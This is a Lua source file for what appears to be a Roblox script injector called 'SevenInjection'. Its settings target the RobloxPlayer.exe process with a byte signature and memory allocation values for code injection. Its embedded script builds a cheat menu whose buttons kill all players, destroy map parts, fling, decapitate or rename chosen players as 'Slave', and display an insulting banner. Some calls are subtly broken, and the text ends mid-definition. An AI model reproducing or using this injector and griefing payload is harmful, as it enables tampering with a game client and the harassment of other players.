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- --[[ --|--------------------------------------------------------|--
- --| /* 0x0086.SevenInjection_v13.5.16.3 */ |--
- --|--------------------------------------------------------|--
- ]]--
- local settings, process_opened, address = {
- ["process_name"] = "RobloxPlayer.exe",
- ["byte_sequence"] = "8B5574528B556483EC108BCC89118B5568",
- ["alloc_address"] = "80000000",
- ["alloc_size"] = "5000000",
- ["main_script"] =
- [=====================[
- local PluginManagerObject = PluginManager()
- local Plugin = PluginManagerObject:CreatePlugin()
- local Toolbar = Plugin:CreateToolbar("Hello World Plugin Toolbar")
- local Button = Toolbar:CreateButton("Exploit", "Click this button to print Hello World!", "BigSmileFace.png")
- Button.Click:connect(function() print("Hello, World!")
- end)
- s = Instance.new("ScreenGui", game.CoreGui)
- PluginGui = Instance.new("TextButton")
- PluginGui.Parent = s
- PluginGui.Size = UDim2.new(0.1,0,0,25)
- PluginGui.Position = UDim2.new(0,0,0.7,0)
- PluginGui.Text="SevenInjector V3"
- PluginGui.BackgroundTransparency = 0.3
- PluginGui.TextColor = BrickColor.new("White")
- PluginGui.BackgroundColor = BrickColor.new("Really Black")
- PluginGui.BorderColor = BrickColor.new("Black")
- PluginGui.Font = "ArialBold"
- PluginGui.FontSize = "Size14"
- PluginGui.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- PluginGui.TextStrokeTransparency = 0.3
- PluginGui.BorderSizePixel = 1
- PluginGui.BorderColor = BrickColor.new("White")
- PluginGui.MouseButton1Down:connect(function()
- local screengui = Instance.new("ScreenGui")
- screengui.Parent = game:GetService("CoreGui")
- screengui.Name = "CommandBar"
- local textlabel = Instance.new("TextLabel")
- textlabel.Parent = screengui
- textlabel.Name = "Title"
- textlabel.Active = true
- textlabel.BackgroundColor = BrickColor.new("Really black")
- textlabel.BorderSizePixel = 0
- textlabel.Draggable = true
- textlabel.Font = "ArialBold"
- textlabel.FontSize = "Size14"
- textlabel.Position = UDim2.new(0.33,0,0.2,0)
- textlabel.Size = UDim2.new(0.65,0,0.05,0)
- textlabel.Text = "E3X9O1T || By Zathin || Drag This Bar"
- textlabel.TextColor3 = Color3.new(255/255,255/255,255/255)
- local textbox = Instance.new("TextBox")
- textbox.Parent = textlabel
- textbox.BackgroundColor = BrickColor.new("Really black")
- textbox.BackgroundTransparency = 0.3
- textbox.Position = UDim2.new(0,0,1,0)
- textbox.Size = UDim2.new(1,0,9,0)
- textbox.Text = ""
- textbox.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbox.TextXAlignment = "Left"
- textbox.TextYAlignment = "Top"
- textbox.BorderSizePixel = 0
- textbox.Font = "ArialBold"
- textbox.FontSize = "Size14"
- textbox.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbox.TextStrokeTransparency = 0.3
- textbox.ClearTextOnFocus = false
- textbox.Draggable = false
- textbox.MultiLine = true
- textbox.TextWrap = true
- local fpaaff = Instance.new("TextButton")
- fpaaff.Parent = textbox
- fpaaff.Position = UDim2.new(-0.47,0,-0.02,0)
- fpaaff.Size = UDim2.new(0.47,0,1,0)
- fpaaff.BackgroundColor = BrickColor.new("Really black")
- fpaaff.Font = "ArialBold"
- fpaaff.FontSize = "Size14"
- fpaaff.TextColor3 = Color3.new(255/255,255/255,255/255)
- fpaaff.BorderSizePixel = 0
- fpaaff.BackgroundTransparency = 0.3
- fpaaff.Text = ""
- local textbo = Instance.new("TextBox")
- textbo.Parent = textlabel
- textbo.BackgroundColor = BrickColor.new("Really black")
- textbo.BackgroundTransparency = 0.3
- textbo.Position = UDim2.new(0,0,-1,0)
- textbo.Size = UDim2.new(1,0,1,0)
- textbo.Text = ""
- textbo.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbo.TextXAlignment = "Left"
- textbo.TextYAlignment = "Top"
- textbo.BorderSizePixel = 0
- textbo.Font = "ArialBold"
- textbo.FontSize = "Size14"
- textbo.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbo.TextStrokeTransparency = 0.3
- textbo.ClearTextOnFocus = false
- textbo.Draggable = false
- textbo.MultiLine = true
- textbo.TextWrap = true
- local textbxn = Instance.new("TextBox")
- textbxn.Parent = textlabel
- textbxn.BackgroundColor = BrickColor.new("Really black")
- textbxn.BackgroundTransparency = 0.3
- textbxn.Position = UDim2.new(0,0, 13,0)
- textbxn.Size = UDim2.new(0.4,0,1,0)
- textbxn.Text = "PLAYA "
- textbxn.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbxn.TextXAlignment = "Left"
- textbxn.TextYAlignment = "Top"
- textbxn.BorderSizePixel = 0
- textbxn.Font = "ArialBold"
- textbxn.FontSize = "Size14"
- textbxn.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbxn.TextStrokeTransparency = 0.3
- textbxn.ClearTextOnFocus = false
- textbxn.Draggable = false
- textbxn.MultiLine = true
- textbxn.TextWrap = true
- local textbxxe = Instance.new("TextLabel")
- textbxxe.Parent = textlabel
- textbxxe.BackgroundColor = BrickColor.new("Really black")
- textbxxe.BackgroundTransparency = 0
- textbxxe.Position = UDim2.new(0.4,0, 13,0)
- textbxxe.Size = UDim2.new(0.4,0,1,0)
- textbxxe.Text = "Player Name"
- textbxxe.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbxxe.TextXAlignment = "Center"
- textbxxe.TextYAlignment = "Center"
- textbxxe.BorderSizePixel = 0
- textbxxe.Font = "ArialBold"
- textbxxe.FontSize = "Size14"
- textbxxe.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbxxe.TextStrokeTransparency = 0.3
- --
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- --
- local redddde = Instance.new("TextButton")
- redddde.Parent = textbox
- redddde.Position = UDim2.new(-0.46,0,-0.13,0)
- redddde.Size = UDim2.new(0.1,0,0,25)
- redddde.BackgroundColor = BrickColor.new("Really black")
- redddde.Font = "ArialBold"
- redddde.FontSize = "Size14"
- redddde.TextColor3 = Color3.new(255/255,255/255,255/255)
- redddde.BorderSizePixel = 0
- redddde.Text = "MORE !"
- redddde.MouseButton1Down:connect(function()
- screengui:remove()
- sss = Instance.new("ScreenGui", game.CoreGui)
- local textbox = Instance.new("TextBox")
- textbox.Parent = sss
- textbox.BackgroundColor = BrickColor.new("Really black")
- textbox.BackgroundTransparency = 0.3
- textbox.Position = UDim2.new(0,0,1,0)
- textbox.Size = UDim2.new(1,0,9,0)
- textbox.Text = ""
- textbox.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbox.TextXAlignment = "Left"
- textbox.TextYAlignment = "Top"
- textbox.BorderSizePixel = 0
- textbox.Font = "ArialBold"
- textbox.FontSize = "Size14"
- textbox.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbox.TextStrokeTransparency = 0.3
- textbox.ClearTextOnFocus = false
- textbox.Draggable = false
- textbox.MultiLine = true
- textbox.TextWrap = true
- local texm = Instance.new("TextLabel")
- texm.Parent = sss
- texm.BackgroundColor = BrickColor.new("Really black")
- texm.BackgroundTransparency = 0.5
- texm.Position = UDim2.new(0,0,0,0)
- texm.Size = UDim2.new(1,0,1,0)
- texm.Text = ""
- texm.TextColor3 = Color3.new(255/255,255/255,255/255)
- texm.TextXAlignment = "Center"
- texm.TextYAlignment = "Center"
- texm.BorderSizePixel = 0
- texm.Font = "ArialBold"
- texm.FontSize = "Size14"
- texm.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- texm.TextStrokeTransparency = 0.3
- local textbxnn = Instance.new("TextBox")
- textbxnn.Parent = texm
- textbxnn.BackgroundColor = BrickColor.new("Really black")
- textbxnn.BackgroundTransparency = 0.3
- textbxnn.Position = UDim2.new(0.45,0,0.05,0)
- textbxnn.Size = UDim2.new(0.4,0,0.05,0)
- textbxnn.Text = "Insert Player's Name and Values"
- textbxnn.TextColor3 = Color3.new(255/255,255/255,255/255)
- textbxnn.TextXAlignment = "Left"
- textbxnn.TextYAlignment = "Top"
- textbxnn.BorderSizePixel = 0
- textbxnn.Font = "ArialBold"
- textbxnn.FontSize = "Size14"
- textbxnn.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textbxnn.TextStrokeTransparency = 0.3
- textbxnn.ClearTextOnFocus = false
- textbxnn.Draggable = false
- textbxnn.MultiLine = true
- textbxnn.TextWrap = true
- local rainbow = Instance.new("TextButton")
- rainbow.Parent = texm
- rainbow.Position = UDim2.new(0.2,0,0.2,0)
- rainbow.Size = UDim2.new(0.1,0,0,25)
- rainbow.BackgroundColor = BrickColor.new("Really black")
- rainbow.Font = "ArialBold"
- rainbow.FontSize = "Size14"
- rainbow.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow.BorderSizePixel = 0
- rainbow.Text = "Rainbow"
- rainbow.MouseButton1Down:connect(function()
- while true do
- wait(1)
- game.Lighting.Ambient = Color3.new(math.random(), math.random(), math.random())
- end
- end)
- local rainbow3 = Instance.new("TextButton")
- rainbow3.Parent = texm
- rainbow3.Position = UDim2.new(0.2,0,0.25,0)
- rainbow3.Size = UDim2.new(0.1,0,0,25)
- rainbow3.BackgroundColor = BrickColor.new("Really black")
- rainbow3.Font = "ArialBold"
- rainbow3.FontSize = "Size14"
- rainbow3.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow3.BorderSizePixel = 0
- rainbow3.Text = "Smoke"
- rainbow3.MouseButton1Down:connect(function()
- local cr = game.Workspace:FindFirstChild(textbxnn.Text)
- local sparkle = Instance.new("Smoke")
- sparkle.Parent = cr.Head
- end)
- local rainbow3 = Instance.new("TextButton")
- rainbow3.Parent = texm
- rainbow3.Position = UDim2.new(0.2,0,0.3,0)
- rainbow3.Size = UDim2.new(0.1,0,0,25)
- rainbow3.BackgroundColor = BrickColor.new("Really black")
- rainbow3.Font = "ArialBold"
- rainbow3.FontSize = "Size14"
- rainbow3.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow3.BorderSizePixel = 0
- rainbow3.Text = "Fire"
- rainbow3.MouseButton1Down:connect(function()
- local cr = game.Workspace:FindFirstChild(textbxnn.Text)
- local sparkle = Instance.new("Fire")
- sparkle.Parent = cr.Head
- end)
- local rainbow3 = Instance.new("TextButton")
- rainbow3.Parent = texm
- rainbow3.Position = UDim2.new(0.2,0,0.1,0)
- rainbow3.Size = UDim2.new(0.1,0,0,25)
- rainbow3.BackgroundColor = BrickColor.new("Really black")
- rainbow3.Font = "ArialBold"
- rainbow3.FontSize = "Size14"
- rainbow3.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow3.BorderSizePixel = 0
- rainbow3.Text = "Exit"
- rainbow3.MouseButton1Down:connect(function()
- sss:Remove()
- end)
- local rainbow3 = Instance.new("TextButton")
- rainbow3.Parent = texm
- rainbow3.Position = UDim2.new(0.2,0,0.35,0)
- rainbow3.Size = UDim2.new(0.1,0,0,25)
- rainbow3.BackgroundColor = BrickColor.new("Really black")
- rainbow3.Font = "ArialBold"
- rainbow3.FontSize = "Size14"
- rainbow3.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow3.BorderSizePixel = 0
- rainbow3.Text = "Sparkle"
- rainbow3.MouseButton1Down:connect(function()
- local cr = game.Workspace:FindFirstChild(textbxnn.Text)
- local sparkle = Instance.new("Sparkles")
- sparkle.Parent = cr.Head
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.4,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Ghost"
- rainbow4.MouseButton1Down:connect(function()
- local D = game.Workspace:FindFirstChild(textbxnn.Text)
- D:findFirstChild("Left Leg").Transparency = 0.5
- D:findFirstChild("Right Leg").Transparency = 0.5
- D:findFirstChild("Left Arm").Transparency = 0.5
- D:findFirstChild("Right Arm").Transparency = 0.5
- D.Torso.Transparency = 0.5
- D.Head.Transparency = 0.5
- D.Torso.roblox:Remove()
- D:findFirstChild("Left Leg").CanCollide = false
- D:findFirstChild("Right Leg").CanCollide = false
- D:findFirstChild("Left Arm").CanCollide = false
- D:findFirstChild("Right Arm").CanCollide = false
- D.Torso.CanCollide = false
- D.Head.CanCollide = false
- D:findFirstChild("Left Leg").BrickColor = BrickColor.new(1)
- D:findFirstChild("Right Leg").BrickColor = BrickColor.new(1)
- D:findFirstChild("Left Arm").BrickColor = BrickColor.new(1)
- D:findFirstChild("Right Arm").BrickColor = BrickColor.new(1)
- D.Torso.BrickColor = BrickColor.new(1)
- D.Head.BrickColor = BrickColor.new(1)
- D.Humanoid.MaxHealth =9999999999999999999999999999999999999999999999999999999999999999999
- D.Humanoid.Health = 9999999999999999999999999999999999999999999999999999999999999999999999
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.45,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "NoGrav"
- rainbow4.MouseButton1Down:connect(function()
- local b = Instance.new("BodyForce")
- b.force = Vector3.new(0,1300,0)
- b.Parent = game.Workspace:FindFirstChild(textbxnn.Text).Torso
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.5,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Grav"
- rainbow4.MouseButton1Down:connect(function()
- while true do
- wait(1)
- b = game.Workspace:FindFirstChild(textbxnn.Text).Torso
- b.BodyForce:Remove()
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.55,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Nuke2"
- rainbow4.MouseButton1Down:connect(function()
- for _, v in pairs(game.Workspace:GetChildren()) do
- v:BreakJoints()
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.6,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "SpinHead"
- rainbow4.MouseButton1Down:connect(function()
- b = game.Workspace:FindFirstChild(textbxnn.Text)
- for X = 1, math.huge, 0.1 do
- wait()
- b.Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
- b.Torso.Neck.C1 = CFrame.new(0,0,0)
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.2,0,0.65,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Slaves !"
- rainbow4.MouseButton1Down:connect(function()
- b=game.Players:FindFirstChild(textbxnn.Text)
- b.Character.Name = game.Players.LocalPlayer.Name.."'s Slave"
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.2,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "BIGHEAD"
- rainbow4.MouseButton1Down:connect(function()
- while true do
- n=game.Players:FindFirstChild(textbxnn.Text).Character.Head:findFirstChild("Mesh")
- n.Scale = Vector3.new(2,2,2)
- wait(0.2)
- n.Scale = Vector3.new(4,4,4)
- wait(0.2)
- n.Scale = Vector3.new(2,2,2)
- wait(0.2)
- n.Scale = Vector3.new(1.25,1.25,1.25)
- wait(0.2)
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.25,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Fly Die"
- rainbow4.MouseButton1Down:connect(function()
- while true do
- game.Workspace:FindFirstChild(textbxnn.Text).Torso.Velocity = Vector3.new(0, 9999, 0)
- wait(30)
- game.Workspace:FindFirstChild(textbxnn.Text).Head:remove()
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.3,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "OldDays"
- rainbow4.MouseButton1Down:connect(function()
- game.Workspace:FindFirstChild(textbxnn.Text).Animate:remove()
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.35,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Giant"
- rainbow4.MouseButton1Down:connect(function()
- L = game.Players:FindFirstChild(textbxnn.Text).Character
- L.Torso.Size = Vector3.new(100,100,100)
- L.Head.Size = Vector3.new(50,50,50)
- L.Head.Mesh:remove()
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.4,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "DiscoBody"
- rainbow4.MouseButton1Down:connect(function()
- while true do
- h = game.Players:FindFirstChild(textbxnn.Text).Character
- h.Head.BrickColor = BrickColor.Random()
- h.Torso.BrickColor = BrickColor.Random()
- h:findFirstChild("Left Arm").BrickColor = BrickColor.Random()
- h:findFirstChild("Right Arm").BrickColor = BrickColor.Random()
- h:findFirstChild("Right Leg").BrickColor = BrickColor.Random()
- h:findFirstChild("Left Leg").BrickColor = BrickColor.Random()
- wait(0.2)
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.45,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Time"
- rainbow4.MouseButton1Down:connect(function()
- game.Lighting.TimeOfDay = textbxnn.Text..":00:00"
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.5,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Fog"
- rainbow4.MouseButton1Down:connect(function()
- game.Lighting.FogEnd = textbxnn.Text
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.55,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "RedAmb"
- rainbow4.MouseButton1Down:connect(function()
- game.Lighting.Ambient = Color3.new((textbxnn.Text),0,0)
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.6,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "GreenAmb"
- rainbow4.MouseButton1Down:connect(function()
- game.Lighting.Ambient = Color3.new(0,(textbxnn.Text),0)
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.32,0,0.65,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "BlueAmb"
- rainbow4.MouseButton1Down:connect(function()
- game.Lighting.Ambient = Color3.new(0,0,(textbxnn.Text))
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.2,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Follow"
- rainbow4.MouseButton1Down:connect(function()
- b = Instance.new("BodyPosition") b.Parent = game.Workspace:FindFirstChild(textbxnn.Text).Torso b.maxForce = Vector3.new(600000000,6000000000,6000000000)
- while true do
- b.position = game.Players.LocalPlayer.Character.Torso.Position
- wait(0.1)
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.25,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Genocide"
- rainbow4.MouseButton1Down:connect(function()
- p= game.Players:FirstFindChild(textbxnn.Text)
- p.Character.Torso.Neck:remove()
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.3,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Lazy"
- rainbow4.MouseButton1Down:connect(function()
- for _, v in pairs(game.Workspace:GetChildren()) do
- if v:isA("Part") then
- v.Velocity = Vector3.new(1000000,0,0)
- end
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.35,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "Clean?"
- rainbow4.MouseButton1Down:connect(function()
- local c=game.Workspace:GetChildren()
- for i=1, #c do
- if c[i].Name~=Exeption then
- if c[i].className=="Part" or c[i].className=="WedgePart" or c[i].className=="TrussPart" or c[i].className=="Seat" or c[i].className=="VehicleSeat" or c[i].className=="Model" then
- c[i]:Destroy()
- end
- end
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.4,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "BlackHoe"
- rainbow4.MouseButton1Down:connect(function()
- p= game.Players:GetChildren()
- for i= 1, #p do
- if p[i].Name ~= game.Players.LocalPlayer.Name.."" then
- b = Instance.new("BodyPosition") b.Parent = p[i].Character.Torso b.maxForce = Vector3.new(6000000,60000000,60000000)
- b.position = Vector3.new(100,10,0)
- end
- end
- end)
- local rainbow4 = Instance.new("TextButton")
- rainbow4.Parent = texm
- rainbow4.Position = UDim2.new(0.44,0,0.45,0)
- rainbow4.Size = UDim2.new(0.1,0,0,25)
- rainbow4.BackgroundColor = BrickColor.new("Really black")
- rainbow4.Font = "ArialBold"
- rainbow4.FontSize = "Size14"
- rainbow4.TextColor3 = Color3.new(255/255,255/255,255/255)
- rainbow4.BorderSizePixel = 0
- rainbow4.Text = "HpTaker"
- rainbow4.MouseButton1Down:connect(function()
- function onTouched(hit)
- if (hit.Parent:findFirstChild("Humanoid")~= nil) then hit.Parent.Humanoid:remove() wait(5) h = Instance.new("Humanoid") h.Parent = hit.Parent end
- end
- c = game.Players.LocalPlayer.Character:GetChildren()
- for i = 1, #c do
- if (c[i].className == "Part") then c[i].Touched:connect(onTouched) end
- end
- end)
- end)
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- local textb = Instance.new("TextLabel")
- textb.Parent = textlabel
- textb.BackgroundColor = BrickColor.new("Really black")
- textb.BackgroundTransparency = 0
- textb.Position = UDim2.new(0,0,-2,0)
- textb.Size = UDim2.new(1,0,1,0)
- textb.Text = "Value"
- textb.TextColor3 = Color3.new(255/255,255/255,255/255)
- textb.TextXAlignment = "Center"
- textb.TextYAlignment = "Center"
- textb.BorderSizePixel = 0
- textb.Font = "ArialBold"
- textb.FontSize = "Size14"
- textb.TextStrokeColor3 = Color3.new(0/0,0/0,0/0)
- textb.TextStrokeTransparency = 0.3
- local ff = Instance.new("TextButton")
- ff.Parent = textbox
- ff.Position = UDim2.new(0,0,1.1,0)
- ff.Size = UDim2.new(1,0,0.1,0)
- ff.BackgroundColor = BrickColor.new("Really black")
- ff.Font = "ArialBold"
- ff.FontSize = "Size14"
- ff.TextColor3 = Color3.new(255/255,255/255,255/255)
- ff.BorderSizePixel = 0
- ff.Text = "Exit / Hide"
- ff.MouseButton1Down:connect(function()
- screengui:remove()
- end)
- local fff = Instance.new("TextButton")
- fff.Parent = textbox
- fff.Position = UDim2.new(0,0,1.2,0)
- fff.Size = UDim2.new(1,0,0.1,0)
- fff.BackgroundColor = BrickColor.new("Really black")
- fff.Font = "ArialBold"
- fff.FontSize = "Size14"
- fff.TextColor3 = Color3.new(255/255,255/255,255/255)
- fff.BorderSizePixel = 0
- fff.Text = "Clear"
- fff.MouseButton1Down:connect(function()
- textbox.Text = "."
- end)
- local fffm = Instance.new("TextButton")
- fffm.Parent = textbox
- fffm.Position = UDim2.new(-0.34,0,0,0)
- fffm.Size = UDim2.new(0.1,0,0,25)
- fffm.BackgroundColor = BrickColor.new("Really black")
- fffm.Font = "ArialBold"
- fffm.FontSize = "Size11"
- fffm.TextColor3 = Color3.new(255/255,255/255,255/255)
- fffm.BorderSizePixel = 0
- fffm.Text = "H4xor"
- fffm.MouseButton1Down:connect(function()
- local scr=Instance.new("ScreenGui",game.StarterGui)
- scr.Name="TROLOL"
- local IL=Instance.new("TextLabel",scr)
- IL.BackgroundColor3=BrickColor.new("Really black").Color
- IL.BorderColor3=BrickColor.new("White").Color
- IL.Position = UDim2.new(0,0,0,0)
- IL.Size = UDim2.new(1,0,1,0)
- IL.Text="Sh1tted on by "..game.Players.LocalPlayer.Name
- IL.TextColor3 = Color3.new(455/355,235/134,255/255)
- IL.FontSize="Size48"
- IL.BackgroundTransparency=0.5
- IL.TextWrap = true
- local trolll=game.Players:GetPlayers()
- for i=1,#trolll do
- trolll[i].Character:BreakJoints()
- end
- end)
- local fffmm = Instance.new("TextButton")
- fffmm.Parent = textbox
- fffmm.Position = UDim2.new(-0.34,0,0.12,0)
- fffmm.Size = UDim2.new(0.1,0,0,25)
